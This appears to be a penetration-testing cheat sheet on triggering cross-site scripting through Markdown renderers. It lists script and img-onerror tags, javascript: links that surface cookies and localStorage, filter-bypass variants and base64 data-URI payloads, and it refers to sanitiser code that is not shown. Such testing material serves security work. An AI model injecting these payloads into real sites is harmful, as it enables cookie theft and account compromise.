If you have the chance to inject code in markdown, there are a few options you can use to trigger a XSS when the code gets interpreted.
HTML tags
The most common way to get XSS in markdown is to inject common HTML tags that execute javascript, because several makdown interpreters will also accept HTML
<!-- XSS with regular tags --><script>alert(1)</script><imgsrc=xonerror=alert(1) />
If HTML tags aren't an option you could always try to play with markdown syntax:
<!-- markdow link to XSS, this usually always work but it requires interaction -->[a](javascript:prompt(document.cookie))<!-- Other links attacks with some bypasses -->[Basic](javascript:alert('Basic'))[Local Storage](javascript:alert(JSON.stringify(localStorage)))[CaseInsensitive](JaVaScRiPt:alert('CaseInsensitive'))[URL](javascript://www.google.com%0Aalert('URL'))[In Quotes]('javascript:alert("InQuotes")')[a](j a v a s c r i p t:prompt(document.cookie))[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)[a](javascript:window.onerror=alert;throw%201)
The following code is sanitising HTML input and then passing it to the markdown parser, then, XSS can be triggered abusing miss-interpretations between Markdown and DOMPurify
<!-- Fuzzing examples from - https://github.com/cujanovic/Markdown-XSS-Payloads/blob/master/Markdown-XSS-Payloads.txt - https://makandracards.com/makandra/481451-testing-for-xss-in-markdown-fields-->[a](javascript:prompt(document.cookie))[a](j a v a s c r i p t:prompt(document.cookie))![a](javascript:prompt(document.cookie))\<javascript:prompt(document.cookie)><javascript:alert('XSS')>![a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)\[a](data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4K)[a](javascript:alert('XSS'))
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